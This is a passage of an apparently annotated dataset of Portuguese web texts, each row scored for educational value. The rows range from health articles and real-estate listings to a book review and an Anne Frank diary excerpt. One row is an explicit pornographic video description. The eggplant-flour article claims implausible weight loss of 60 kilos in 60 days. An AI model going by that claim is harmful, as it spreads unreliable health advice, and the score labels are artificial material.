padronização tabelada dos nutrientes que podem ser encontrados nessa farinha de berinjela, já que existem grandes variações de um fabricante para outro. Além disso, o modo como a farinha foi processada também faz a diferença quando se tenta mensurar a concentração dos nutrientes. +No entanto, existem pesquisas em andamento e é possível se ter uma ideia do quão importante essa farinha pode ser. Dito isto, sabe-se, por exemplo, que uma porção de 15 gramas – equivalente a uma colher de sopa – possui 0,3 gramas de gorduras, 1,2 g de proteínas, 3,8 g de carboidratos e 6,8 g de fibras. +Segundo os nutricionistas e pelo que se pode aferir a partir dos dados acima, a grande vantagem da farinha de berinjela é a sua elevada concentração de fibras. +BENEFÍCIOS (Veja alguns benefícios do suco de berinjela) +A UFRJ (Universidade Federal do Rio de Janeiro) resolveu ir a fundo a respeito dos benefícios da farinha de berinjela. O resultado foi que um grupo de pessoas que consumiu 14 gramas diárias da farinha, durante um período de 60 dias, conseguiu eliminar, aproximadamente, 60 quilos. Esse total equivale ao dobro do peso perdido pelos membros de outro grupo. +Todo esse sucesso da farinha de berinjela se deve a três fatores: elevação da saciedade, diminuição da gordura corporal e controle sobre a vontade desenfreada de se consumir doces. +Menos gordura nociva circulando pela corrente sanguínea +De todas as substâncias que circulam pela corrente sanguínea, talvez o excesso de gordura seja o evento mais preocupante. Pois bem, a farinha de berinjela contribui para a redução significativa dos níveis de triglicérides e do temido colesterol LDL (o ruim). +As fibras desempenham papel crucial para que isso aconteça, já que reduz a porcentagem de colesterol que acaba afluindo ao sangue. Cabe também citar o chamado transporte reverso do colesterol, o qual pode ter por consequência a ampliação dos índices de colesterol HDL (o bom) em cerca de 30%. +Sistema imunológico alerta e intestino em pleno funcionamento +O trabalho realizado pelas fibras surte efeito em várias regiões do corpo. Um dos destaques fica por conta do fluxo intestinal, que passa a funcionar melhor do que nunca. Isso, em grande parte, se deve à ampliação da flora intestinal. +A imunidade do organismo está diretamente vinculada ao bom funcionamento do intestino porque é de lá que provêm a maior parte das imunoglobinas. Os benefícios, portanto, são estendidos e compartilhados. Nada mais adequado para que o organismo mantenha seu equilíbrio interno. +Como obter a farinha de berinjela (Comprar pronta) +Despeje um quilo de berinjela, previamente fatiada e com casca, sobre uma forma. Coloque a forma no forno sob 200º C e a mantenha por, aproximadamente, duas horas — o importante é que esteja crocante. Depois, triture o vegetal em um liquidificador ou processador de alimentos até que se extraia um pó. Tenha como referência a farinha de mandioca, pois a textura deve ser análoga a ela. +Contraindicações da farinha de berinjela +Embora não existam contraindicações propriamente ditas, os nutricionistas lembram que a ingestão da farinha de berinjela deve ser realizada em conjunto com alimentos ricos em antioxidantes objetivando evitar o desenvolvimento de radicais livres. +Outro detalhe importante é quanto ao exagero, que pode levar à constipação intestinal. ((Veja como combater a C...",original,original,original,original,3,0.6 +"por Kiara Cavalcante publicado em 20/06/2022 — última modificação em 20/06/2022 16h05 registrado em: Edital, Em Aberto +Resultado Preliminar +por Elizandra Pinheiro publicado em 04/04/2022 — última modificação em 04/04/2022 18h29 registrado em: Edital, Encerrado +Resultado Preliminar +por Jandecir Rodrigues publicado em 21/09/2021 — última modificação em 21/09/2021 17h35 registrado em: Edital +Resultado preliminar +por Hugo Almeida Pereira publicado em 06/12/2021 — última modificação em 06/12/2021 18h27 registrado em: Edital, Em Aberto +Resultado Preliminar +por Rubens Rosa publicado em 03/06/2021 — última modificação em 03/06/2021 10h27 registrado em: Edital, Encerrado +Resultado preliminar +por Elizandra Pinheiro publicado em 04/03/2021 — última modificação em 04/03/2021 18h30 registrado em: Edital, Em Aberto +Resultado preliminar +por Márcio de Lima Araújo última modificação em 31/10/2022 10h29 registrado em: Edital, Encerrado +Resultado Preliminar +por Marina Ribeiro Pereira publicado em 14/03/2022 — última modificação em 14/03/2022 21h00 registrado em: Edital, Encerrado +Resultado Preliminar +por Kiara Cavalcante publicado em 22/07/2022 — última modificação em 22/07/2022 23h53 registrado em: Edital, Em Aberto +Resultado Preliminar +por Kiara Cavalcante publicado em 10/06/2022 — última modificação em 10/06/2022 16h57 registrado em: Em Aberto, Edital",original,original,original,original,0,0.0 +"Puta tarada chupando gostoso, Vídeo caseiro com mulher fazendo um oral bem excitante no seu companheiro e terminou com a cara toda cheia de porra",original,original,original,original,0,0.0 +"A Campanha Novembro Azul, realizada ao longo do mês de novembro, foi encerrada no último dia 26 com palestra educativa sobre prevenção ao câncer de próstata entre outras abordagens relativas a saúde do homem. O palestrante foi o Dr. Felipe Dias (urologista). +Iniciativa da prefeitura, através da coordenação do Centro Municipal de Saúde, o evento teve como foco principal o esclarecimento e a prevenção do câncer de próstata, que é celebrado mundialmente no dia 17 de novembro. +Além do câncer de próstata, a andropausa, o distúrbio androgênico do envelhecimento masculino, disfunção erétil, DSTs e câncer de pênis, são destaques entre outras enfermidades que assolam a saúde masculina e foram tratados na palestra.",original,original,original,original,2,0.4 +"10h-12h - Roda de conversa - Apropriação tecnológica e saberes culturais +14h-16h - Apresentação cultural- Oca - Escola Cultural +Foi apresentada pela dupla as ações e histórico da Nuvem e aprofundou-se no ContraLab, iniciativa em pleno brotamento por lá, um laboratorio tático contra a repressão. +O Lidas trouxe aos olhos dos presentes a plataforma Cultura Educa, com uma proposta de valorização dos saberes populares, a plataforma procura interagir o saber formal e popular no georeferenciamento de dados culturais, usando a capilaridade das escolas públicas e seus entornos (territórios educacionais) como partida para o levantamento de dados culturais ""de baixo pra cima""",original,original,original,original,2,0.4 +"Circa 1970 Pernambuco +Com influências extremamente diversificadas, como as de Maria Bethânia, Ney Matogrosso, Orlando Silva, Elizete Cardoso, Sílvio Caldas, Alceu Valença, Quinteto Violado, Ednardo, Pixinguinha, Cartola, Luiz Gonzaga e Jackson do Pandeiro; lançou primeiro disco solo em 1999, ""Verd´Água"", produzido por ele mesmo. Como havia morado 10 anos em Portugal, algumas das músicas foram gravadas no país Lusitano. Nesse disco, regravou sucessos de Pixinguinha e Cartola, sendo eles ""Rosa"" e o choro-canção ""Sejam Benvindos"", respectivamente. O segundo CD, ""Astrolábio"", lançado em 2001, contou com uma diversidade de gêneros, que foram desde o +maracatu zen (como o próprio intitula), coco de rabeca e fado eletrônico até o samba hip hop. O álbum contou com a direção musical de Marcelo Soares, Geraldo Maia e Igor Medeiros. Em 2003, ganhou notoriedade ao interpretar, ao lado do violonista Yamandu Costa, a música ""A deusa da minha rua"" para a trilha sonora do filme ""Lisbela e o Prisioneiro"", dirigido por Guel Arraes. No ano seguinte, lançou o CD ""O fio da meada"", que trouxe releituras de músicas de Luiz Gonzaga, como ""Tenho onde morar"" (c/ Dario de Souza) e ""Feijão com couve"" (c/ J. Portela); e de Jackson do Pandeiro, ""A ordem é samba"" (c/ Severino Ramos). Em 2007, no lançamento do álbum ""Samba de São João"", resgatou obras de compositores pernambucanos célebres como Capiba, João Pernambuco, Luperce Miranda, Manezinho Araújo e Irmãos Valença; além de outros menos consagrados, como Artur de Castro, Aldo Taranto, Luiz Peixoto, Heckel Tavares, Jaime Florence, mais conhecido como Meira, Stefana de Macedo, Marcial Mota, Eustórgio Wanderley e Osvaldo Santiago, abrangendo uma época que vai de 1928 a 1955. No mesmo ano, teve participação especial no disco ""Forroboxote 7 - Ser tão criança - Cantigas de roda do sertão"", lançado por Xico Bizerra. Nesse álbum, cantou ao lado de Cristiane Quintas, Nena Queiroga e Lívia Cavalcanti. No ano seguinte, lançou o disco ""Peso leve"", que marcou a sua estreia como compositor. Das 12 faixas do disco, todas têm a assinatura de Geraldo, sendo algumas em parceria com compositores como Sérgio Cassiano, João Falcão, Carlos Mascarenhas e Adriana Falcão. Em 2009, lançou seu sexto disco, ""Lundum"", que assim com o anterior, contou com composições próprias, que foram as seguintes: ""Navenida / Chamada"" e ""Deixa soar"", com Juliano Holanda; Helioiticando, com Marco Polo; ""Pega o peixe"", ""Samba"" e ""Tristeza"", com Paulo Marcondes; ""Broto de semear""; e ""Que doam-se os brios!"". No mesmo ano, participou novamente do projeto ""Forroboxote"", de Xico Bezerra. Nesse álbum, oitava edição da série, e que teve o intuito de homenagear acordeonistas consagradaos como Luiz Gonzaga, Sivuca, Dominguinhos, Oswaldinho, Gennaro, Mestre Camarão e Arlindo, cantou ao lado de +Liv de Morais, Santanna, Petrúcio Amorim, Maciel Melo, Irah Caldeira, Nádia Maia, e João Cláudio Moreno, entre outros. Desse mesmo projeto, participou novamente, dois anos depois, da nona edição, cantando ao lado de Silvério Pessoa, Xangai, Elba Ramalho, Bia Marinho, Irah Caldeira, Cristina Amaral, Geraldo Maia, Maciel Melo, e Quinteto Violado, entre outros. Em 2012, realizou participação na coleção tripla de CDs ""Pernambuco forrozando para o mundo - Viva Dominguinhos!!!"", produzida por Fábio Cabral, cantando a música ""Claridádiva"", de Zeh Rocha e Xixo Bizerra. A coletânea trouxe forrós diversos, interpretados por 48 artistas, e que fazem referência aos 50 anos de carreira do seu inspirador: Dominguinhos. Interpretando músicas de compositores em sua grande maioria pernambucanos, fizeram parte do projeto também artistas como Acioly Neto, Adeolzon Viana, Anchieta Dali, Dudu do Acordeon, Elba Ramalho, Hebert Lucena, Irah Caldeira, Jorge de Altinho, Petrúcio Amorim, Liv Morais, Sandro Haick, Spok, Jefferson Gonçalves, Chambinho, Joquinha Gonzaga, Maciel Melo, Luizinho Calixto, Silvério Pessoa, Walmir Silva, entre outros, além do próprio Dominguinhos.",original,original,original,original,3,0.6 +"Produtos Automotivos Aquarius da loja Submarino - Encontre Barato +Página inicial / Automotivo / Aquarius / Submarino Marcas +Produtos Automotivos Aquarius da loja Submarino",original,original,original,original,1,0.2 +"Cegonha Medicina ReprodutivaOncofertilidade: o que é e como ela pode ajudar na preservação da fertilidade? +Pesquisar por: +out 15 +Oncofertilidade: o que é e como ela pode ajudar na preservação da fertilidade? +Postado por Cegonha +Cuidando da fertilidade dos pacientes com câncer +Tratamentos oncológicos como a radioterapia e a quimioterapia podem, muitas vezes, levar à infertilidade. A radioterapia, por exemplo, mesmo em doses cumulativas baixas pode provocar a diminuição dos espermatozóides e em doses mais altas pode provocar danos irreversíveis nos homens. +Com isso, surge a necessidade de falar sobre as possibilidades de preservação da fertilidade antes do tratamento do câncer, já que muitos pacientes possuem o sonho de constituir uma família no futuro. +Pensando no bem estar dos pacientes oncológicos e na preservação de sua fertilidade, surge a Oncofertilidade, uma especialidade médica que ajuda pacientes com câncer a manterem a sua fertilidade para que possam ter filhos, após o tratamento da doença. +Pacientes, familiares e oncologistas devem saber que em boa parte dos casos de câncer podem ser adotadas estratégias para a preservação da fertilidade, segundo especialistas em oncofertilidade. +Mas como a oncologia pode realmente ajudar a manter a sua fertilidade? +A criopreservação é a principal aliada no processo de preservação da fertilidade. +O congelamento de óvulos, espermatozóides, embriões e tecido testicular e ovariano é realizado antes que o paciente inicie os tratamentos para a cura do câncer. +Nas mulheres, após a realização de alguns exames, como avaliação da reserva funcional dos ovários, dosagem de hormônios e ultrassom, é realizada a estimulação ovariana, mesmo procedimento da fertilização in vitro, com o objetivo de recolher alguns óvulos que serão armazenados até que a paciente finalize o tratamento oncológico. +Em homens o procedimento ocorre por meio do recolhimento de amostras de sêmen, permitindo uma boa reserva produtiva. +Além da criopreservação, outros métodos podem ser considerados na preservação da fertilidade. As opções variam de pessoa para pessoa, tipo e estágio do câncer e quão rapidamente você deve iniciar o tratamento contra o câncer. +Outros métodos para as mulheres são: +Proteção pélvica durante a radioterapia: é possível revestir um ou dois ovários para protegê-los contra a radiação durante o tratamento. +Transposição ovariana: antes do tratamento com radiação na região pélvica, um ou os dois ovários são movidos para outro ponto do corpo de forma que fique fora do campo de tratamento. E, se não for possível engravidar naturalmente com o ovário nesse novo local, talvez seja necessário movê-lo novamente ou realizar um procedimento de reprodução assistida, como a FIV, para engravidar. +Cirurgia de reserva ovariana (conservadora): o tratamento padrão dos cânceres ginecológicos como o câncer endometrial ou ovariano é a remoção dos ovários e do útero. Algumas mulheres conseguem manter seus ovários quando o câncer está em estágio inicial e em baixo grau, o que significa pouco risco de disseminação. +Remoção do cérvix, mas não do útero: mulheres com câncer cervical quase sempre precisam remover cirurgicamente o útero e o cérvix. Aquelas que apresentam câncer do cérvix em estágio inicial podem optar pela remoção apenas dessa região. +Tratamento médico do câncer endometrial: frequentemente, os cânceres endometriais iniciais e de baixo risco podem ser tratados sem cirurgia de maneira bem-sucedida. +Recomenda-se o método mais adequado, em tempo hábil, sem prejudicar a saúde do paciente e em conjunto com o médico Oncologista. +Algumas considerações importantes: a idade do paciente e fase do diagnóstico do câncer +Os riscos de infertilidade em pacientes com câncer são maiores a medida em que o diagnóstico é feito em pessoas mais velhas. Isso acontece porque a quimioterapia, por exemplo, pode “envelhecer” o ovário em aproximadamente 10 anos e mulheres com idade superior a 35 anos tendem a ter mais dificuldades para preservar ...",original,original,original,original,4,0.8 +"733D9F81D2AF49548E43934436D66F2A,http://cache2.artprintimages.com,4087745,/DLE/DLETracking.asp,2980206,http://dflecache.art.com,US,http://ws-wfs.art.com/frameservice.asmx,3,1,840,USD,in,'',$,,currentItemType=Art Print,ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=16,ImageWidth=12,isDefaultImage=False,PODConfigId=9201947,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=24,ImageWidth=18,isDefaultImage=True,PODConfigId=9664571,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=32,ImageWidth=24,isDefaultImage=False,PODConfigId=9664572,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=40,ImageWidth=30,isDefaultImage=False,PODConfigId=10551918,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=48,ImageWidth=36,isDefaultImage=False,PODConfigId=10551919,ImageId=0:::currentItemType=Premium Giclee Print,ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=16,ImageWidth=12,isDefaultImage=False,PODConfigId=4986474,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=24,ImageWidth=18,isDefaultImage=False,PODConfigId=4986650,ImageId=0:::ImageURL=http://cache2.artprintimages.com/lrg/29/2975/GO2QD00Z.jpg,IsPreframe=False,ImageAPNUM=4087745,ImageHeight=32,ImageWidth=24,isDefaultImage=False,PODConfigId=4986746,ImageId=0::: +733D9F81D2AF49548E43934436D66F2A",original,original,original,original,0,0.0 +"A Universidade de São Paulo (USP) foi a universidade brasileira mais atingida pela ditadura civil-militar. Houve todo tipo de arbitrariedade contra os professores, funcionários e alunos que resistiram ao golpe de 64: perseguição, delação, demissão. +Um dos casos emblemáticos é o da professora Ana Rosa Kucinski Silva, do Instituto de Química. Em outubro de 1975, foi demitida por “abandono de função”. Só que Ana Rosa havia sido sequestrada e assassinada pelos órgãos da repressão da ditadura no ano anterior, em 1974. +Por isso, nesta segunda-feira 13, a partir das 11h30, o Fórum Aberto pela Democratização da USP realiza ato no Instituto de Química da USP, na Cidade Universitária, para pedir à Congregação da unidade que anule a decisão tomada em outubro de 1975. +Ana Rosa graduou-se em Química e concluiu seu doutorado em Filosofia na própria USP. Na década de 1970, tornou-se uma das mais jovens professoras no recém-criado Instituto de Química da USP. Ao mesmo tempo, ingressou na Ação Libertadora Nacional (ALN), que se opunha ao regime militar. +No dia 22 de abril de 1974, quando tinha 32 anos de idade, Ana Rosa foi vista pela última vez, nas proximidades da Praça da República, em São Paulo. Desapareceu junto com seu marido, o físico Wilson Silva, no momento em que celebravam quatro anos de casamento. Desde então, nunca mais foi vista. Há relatos de que teria sido torturada e executada na chamada “Casa da Morte”, em Petrópolis (RJ). +A lei 9.140, de 1995, incluiu o nome de Ana Rosa na lista oficial das 136 pessoas que se encontravam desaparecidas “em razão de participação, ou acusação de participação, em atividades políticas, entre 02/09/61 a 15/08/79, e que por este motivo tenham sido detidas por agentes públicos”. Somente com a Comissão Especial sobre Mortos e Desaparecidos Políticos (CEMDP), instituída por essa mesma lei, Ana Rosa foi finalmente declarada vítima do Estado brasileiro. Mais recentemente, o ex-delegado de polícia e ex-agente do SNI Cláudio Guerra apontou-a como uma das pessoas que tiveram seus corpos incinerados pelos órgãos de repressão na Usina Cambahyba (RJ), em 1974. +O Fórum Aberto pela Democratização da USP frisa que, apesar de tais evidências, até agora a USP não tomou qualquer medida para reverter a decisão resultante do processo instaurado pela Reitoria em 1974: a demissão da professora por 13 votos favoráveis e dois votos em branco. O desligamento de Ana Rosa foi publicado no Diário Oficial por ato do então governador do Estado, Paulo Egydio Martins. +O ato do dia 13 reforça as iniciativas da família, em especial de seu irmão, jornalista e professor Bernardo Kucinski, de denunciar o caso e pedir providências. +O Fórum Aberto pela Democratização da USP prossegue a coleta de assinaturas pedindo a constituição da Comissão da Verdade na universidade. Agora, a assinatura pode ser feita pela internet. Acesse AQUI e assine. +Apesar da USP ter sido a universidade brasileira mais atingida pela ditadura civil-militar, até hoje não trouxe à luz aquilo que nela houve de delação e perseguição dos que resistiram às consequências do golpe de 1964. +Como nos lembra Marilena Chaui, existiu uma “limpeza de sangue” no seio da Universidade. Ademais, muito de sua estrutura administrativa atual teve origem [e é tributária do] no estado de exceção e é tributária dele, razão pela qual ela é reconhecida ainda hoje como a mais conservadora e antidemocrática das universidades públicas brasileiras. +Nesse sentido, é fundamental que esta Universidade instaure uma Comissão da Verdade para promover verdade, memória e justiça, bem como para estar em consonância com os dias correntes, abandonando o que nela se instaurou de antidemocrático durantes os anos sombrios. +Por isso, reiteramos, assine o pedido de constituição de uma Comissão da Verdade da USP acessando o site www.verdadeusp.org , no qual também se encontra o teor do requerimento que pede tal Comissão. +Por uma Comissão da Verdade da USP. Participe! +Enquanto isso, um humilde faxineiro foi es...",original,original,original,original,5,1.0 +"Terreno Sátão, Ferreira de Aves +Arrendar V2 em Lisboa, Alvalade Comprar Terreno em Algueirão-Mem Martins Comprar Apartamento 2 quartos em Marvila Comprar em Tavarede Comprar Moradia com 4 quartos em Coimbra Comprar Terreno em Porto, Bonfim Ainda não encontrou o que procura?",original,original,original,original,0,0.0 +"Dicas de quadrinhos nacionais e estrangeiros, novos e clássicos, para você prestigiar o que há de melhor. <3 +Lucy sabia que tipos de coisas faziam ruídos assim dentro das paredes de velhos casarões, então correu e contou para a mãe. +– Há lobos dentro das paredes – disse Lucy para a mãe. – Eu posso ouvi-los. +– Não – disse a mãe. – Não existem lobos dentro das paredes. +Neil Gaiman é um autor versátil: já escreveu quadrinhos, já roteirizou graphic novels e séries de tv, já escreveu para crianças e criou para adultos, já narrou suas próprias obras (os audiobooks valem a pena, hein!). Como forma de representar uma parte do seu extenso trabalho, hoje vamos falar do livro infantojuvenil escrito por Neil Gaiman e ilustrado por Dave McKean, Os Lobos Dentro das Paredes (adicione ao Skoob). No Brasil, a história é publicada pela Editora Rocco. :) +– Podemos morar numa casa da árvore, no topo de uma enorme árvore – continuou o irmão. +– Ou podemos voltar e morar na nossa própria casa – afirmou Lucy. +Neil Gaiman diz ter se inspirado em um pesadelo que sua filha Maddy teve aos quatro anos de idade, que envolvia lobos e paredes. A peça se torna ainda mais bonita ao compreender o trabalho de ilustração do Dave McKean, parceiro artístico de longa data do Gaiman, que mistura fotografias, desenhos e imagens digitais para passar a força desejada. +E aí, curtiram o projeto gráfico e a história de Os Lobos Dentro das Paredes? Eu gostei especialmente do final, uma forma madura de mostrar o ser humano superando seus medos e se impondo diante dos infortúnios. A arte de McKean também não deixa nadica de nada a desejar.",original,original,original,original,2,0.4 +"Você já parou para pensar em como a geometria está presente em tudo o que vemos? Desde o formato do seu celular até a estrutura de um prédio, a geometria é a base de muitas coisas em nosso mundo. Neste artigo, vamos explorar alguns conceitos geométricos fundamentais e descobrir como eles se aplicam em situações do dia a dia. + +Começando pelo básico, a geometria estuda as formas, tamanhos e posições dos objetos no espaço. Imagine uma pizza: ela é um círculo, certo? E cada fatia representa uma parte desse círculo, um setor circular. Entender as propriedades do círculo, como o raio (a distância do centro até a borda) e o diâmetro (a distância de uma borda à outra, passando pelo centro), nos ajuda a calcular a área da pizza e dividir as fatias de forma justa! + +Outra forma geométrica muito comum é o retângulo. Sua sala de aula, provavelmente, tem um formato retangular. O retângulo possui quatro lados, com os lados opostos de mesmo tamanho e quatro ângulos retos (ângulos de 90 graus). Calcular a área de um retângulo (base vezes altura) nos permite saber, por exemplo, quantos pisos são necessários para cobrir o chão da sala. + +E os triângulos? Eles são ainda mais versáteis! As estruturas de pontes e telhados frequentemente utilizam triângulos porque são formas muito estáveis. Existem diferentes tipos de triângulos: equilátero (três lados iguais), isósceles (dois lados iguais) e escaleno (todos os lados diferentes). Cada tipo tem suas próprias características e aplicações. + +Além das formas bidimensionais (que têm comprimento e largura), como os círculos, retângulos e triângulos, também existem as formas tridimensionais (que têm comprimento, largura e altura), como os cubos, pirâmides e esferas. Um dado é um exemplo de cubo, as pirâmides do Egito são pirâmides (óbvio!), e uma bola de futebol se aproxima de uma esfera. Calcular o volume dessas formas nos permite saber, por exemplo, quanta água cabe em uma piscina (que, em geral, tem a forma de um paralelepípedo, um tipo de prisma). + +A geometria não é apenas um conjunto de fórmulas e definições; ela é uma ferramenta poderosa para entendermos o mundo ao nosso redor. Ao observar as formas e estruturas que nos cercam, podemos desenvolver nosso raciocínio espacial e habilidades de resolução de problemas. Pense em como um arquiteto usa a geometria para projetar um prédio, ou como um engenheiro a utiliza para construir uma ponte. A geometria está em tudo! + +Que tal um desafio? Observe os objetos ao seu redor e tente identificar as diferentes formas geométricas que você encontra. Como elas se relacionam umas com as outras? Quais propriedades geométricas você consegue identificar? Ao explorar a geometria em seu dia a dia, você estará desenvolvendo uma compreensão mais profunda e significativa dessa área fascinante da matemática.",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta um excelente valor educacional. Introduz conceitos geométricos básicos de forma clara e envolvente, relacionando-os com situações do cotidiano. A linguagem é acessível e adequada para alunos do ensino fundamental, e o texto estimula a observação e o raciocínio espacial. O desafio final incentiva a aplicação dos conhecimentos adquiridos, tornando o aprendizado mais significativo. Abrange diversos critérios da avaliação, desde a apresentação de informações relevantes até o estímulo ao raciocínio e à aplicação prática.",5,1.0 +"» velocidade contínua variável 0-2.500 min-1 +» maior precisão de medição < 0, 015 mm no nariz do veio +» com carro longitudinal, transversal e superior +acessórios detalhados na p. 209 e seguintes.",original,original,original,original,1,0.2 +"O Diário de Anne Frank +Quinta-feira, 16 de março de 1944 +Querida Kitty +O tempo está lindo, espetacular. Tão bonito que nem consigo descrevê-lo. Vou subir até a água-furtada dentro de um minuto. +Agora descobri por que sou muito mais inquieta do que Peter. Ele tem um quarto só dele para trabalhar, sonhar, pensar e dormir. Eu vivo aos trancos, de um canto para outro. Quase não fico no meu quarto compartilhado, e, no entanto, é a coisa que mais tenho vontade de fazer. É também por essa razão que fujo tantas vezes para a água-furtada. Lá, e com você, posso ser eu mesma por algum tempo, embora por muito pouco tempo. Não quero, porém, me lamentar; quero ser corajosa. Graças a Deus, ninguém vê meus sentimentos íntimos: estou me tornando cada vez mais fria com mamãe, já não sou tão afetuosa com papai e não conto mais nada a Margot. Fechei-me completamente. Acima de tudo, preciso manter a aparência exterior, ninguém deve saber da guerra que se trava em meu íntimo. Guerra entre o desejo e o bom senso. Até o momento que escrevo, tem ganho o último, mas, e se o primeiro demonstrar ser o mais forte dos dois? Às vezes receio que seja assim e outras vezes desejo que o primeiro saia vencedor! +Oh, como é difícil nunca poder dizer nada a Peter; mas sei muito bem que o primeiro a falar deve ser ele. Há tanta coisa que desejo dizer e fazer, tanta coisa que já vivi em sonhos, que é duro ver passar mais um dia sem que nada disso se realize! Sim, Kitty, Anne é uma maluquinha, mas acontece que eu vivo em tempos loucos e em circunstâncias mais loucas ainda. +Mesmo assim, o melhor de tudo isso é que posso escrever o que sinto e o que penso, do contrário estaria totalmente sufocada! Que pensará Peter de todas essas coisas? Tenho a esperança de que algum dia ainda poderei falar sobre tudo isso com ele. Peter deve ter adivinhado alguma coisa sobre minha pessoa, pois estou certa de que não poderia amar a Anne ""para uso externo"", aquela que conheceu até agora. +Gostando tanto de paz e sossego, como pôde Peter ser atraído pelos meus modos estabanados e barulhentos? Teria sido ele o primeiro a enxergar através de minha armadura? Não existe um velho ditado que diz que o amor nasce da piedade e que ambos andam de mãos dadas? Será esse o meu caso? Porque, muitas vezes, tenho tanta pena dele como de mim mesma. +Se eu mesma não sei como começar, que dizer dele, para quem a fala representa dificuldade ainda maior do que para mim? Se pudesse escrever a ele, pelo menos teria certeza de ser compreendida, pois é difícil transformar em palavras tudo o que sinto!",original,original,original,original,4,0.8 +"Debate sobre violência contra a mulher é realizado em Marechal Rondon +“Debatendo a violência contra as mulheres: relatos de experiências dos setores de atendimento”, aconteceu no Isepe Rondon. +Frente de honra, na abertura da Mesa Redonda - Debatendo a violência contra as mulheres relatos de experiências dos setores de atendimento, na manhã de hoje (22), no Isepe Rondon +Organizado pelo Comitê Municipal de Saúde Mental e Enfrentamento à Violência de Marechal Rondon, composta pelas secretarias de Saúde, Assistência Social e Educação, em parceria com o Laboratório de Pesquisa e Estudos de Gênero (LAPEG), o evento teve ainda, a presença dos convidados: Dr. Diego Fernandes Valim, delegado da Polícia Civil de Marechal Rondon; Dra. Carla Cristina Nacke Conradi, coordenadora do LAPEG e Augusto, do grupo reflexivo para homens de Medianeira, que conduziram a mesa, junto de Micheli Aparecida Stimer, do CREAS. +Na ocasião, também foi realizado o lançamento da Cartilha Informativa – Rede de Serviços de Saúde Mental e Prevenção à Violência. O material tem o objetivo de informar sobre as diversas instituições, equipamentos, ações e projetos da Rede de Atenção Psicossocial de Marechal Rondon, que servem como “porta de entrada” de atendimento aos cidadãos.",original,original,original,original,2,0.4 +"Bonés para caminhoneiros Born to Ride Verde / azul para homens e mulheres - THE INDIAN FACE +Born to Ride Verde / Azul",original,original,original,original,1,0.2 +"Cozinha Americana | Katia Imoveis Cabo Frio RJ +Vendo Apartamento Bairro Braga em Cabo Frio RJ. +Apartamento contendo: 02 quartos, sendo… +By Katia Imoveis +Alugo Fixo apartamento no Bairro Braga em Cabo Frio- RJ. +Alugo quarto e sala em Cabo Frio-RJ. +contendo: um quarto, sala com… +Aluguel Fixo Casa Duplex em Condomínio +Casa Duplex em condomínio contendo: no 1º Pav. sala, lavabo,… +Alugo Fixo apartamento em Cabo Frio +Apartamento contendo: 02 quartos sendo um suíte, sala, cozinha com… +Vendo Área em Cabo Frio +Área contendo aproximadamente 800m², Frente Avenida Teixeira e Souza fundos… +Alugo Apartamento para Temporada em Frente a Praia do Forte em Cabo Frio +Apartamento Contendo: 03 quartos sendo um suíte, sala cozinha e… +Alugo Temporada Cobertura em Frente a Praia do Forte +Cobertura contendo 03 quartos, sendo uma suíte, sala, banheiro social,…",original,original,original,original,1,0.2 +"Este livro não está abrangido pela Lei do Preço Fixo. Para mais informações consulte por favor as Perguntas Frequentes"" +Coleção: Tecnologias de Informação +Páginas: 440 +Formato: 16x24 cm +Idioma: Português +Descrição +O conhecimento da arquitetura de um Sistema de Gestão de Bases de Dados Relacionais (SGBDR) e do funcionamento dos seus componentes principais é um requisito fundamental do especialista da área de computadores, sistemas ou gestão da informação. Os SGBDR existentes são produtos muito complexos, com dezenas de anos de desenvolvimento, e que recorrem por vezes a técnicas pouco conhecidas, proprietárias e mantidas em segredo. Poucos profissionais podem participar no desenvolvimento de um SGBDR, mas são muitos os que os utilizam diariamente e deles dependem para fazerem outros sistemas funcionar. +Esta obra apresenta assim os conceitos fundamentais da tecnologia dos SGBDR que estão no centro dos sistemas de informação atuais, em todos os setores de atividade e em todos os domínios, sendo substituídos por sistemas especializados apenas em nichos de utilização. Não se centra num SGBDR em particular, mas dá a conhecer as especificidades dos produtos mais representativos quando a sua importância o justifica. +Os princípios fundamentais dos SGBDR são abordados em capítulos independentes entre si, o que permite, para além da sua leitura sequencial, uma consulta faseada, dependendo do interesse e das necessidades do leitor. Todos os capítulos contêm vários exemplos e encerram com propostas de exercícios. Para quem precisa de realizar um trabalho de investigação, ou aprofundar um tópico em particular, procurando conhecer os detalhes de uma técnica ou de um algoritmo, a obra dispõe de uma secção de Leituras Recomendadas e de uma completa Bibliografia no final de cada capítulo. +O livro dirige-se, portanto, a todos os estudantes e profissionais que pretendem compreender o funcionamento de um SGBDR. +Principais temas abordados no livro: +·Conceitos de bases de dados; +·Modelo relacional de dados e álgebra relacional; +·Projeto lógico de bases de dados; +·Linguagem SQL; +·Armazenamento e indexação; +·Consultas e otimização de consultas; +·Gestão de transações; +·Controlo de concorrência; +·Níveis de isolamento; +·Recuperação. +Errata (121KB) +Público-Alvo +Estudantes de Engenharia Informática, Computadores , Eletrotécnica e Sistemas de Informação +Pré-visualização +Autores +Feliz Gouveia +Doutor em Engenharia Eletrotécnica e de Computadores pela Universidade Tecnológica de Compiège, Mestre em Controlo de Sistemas pela mesma instituição e Licenciado em Engenharia Eletrotécnica pela Faculdade de Engenharia da Universidade do Porto, é Professor Associado com agregação da Faculdade de Ciência e Tecnologia da Universidade Fernando Pessoa, onde leciona as disciplinas de Bases de Dados (há 17 anos) e de Segurança e Projeto de Aplicações no curso de Engenharia Informática. Desenvolve investigação no Centro de Estudos e Recursos Multimediáticos. +Livros relacionados +SQL Server 2012 +MySQL +Livros do mesmo autor +Bases de Dados +Downloads +Em caso de duvida, por favor consulte as 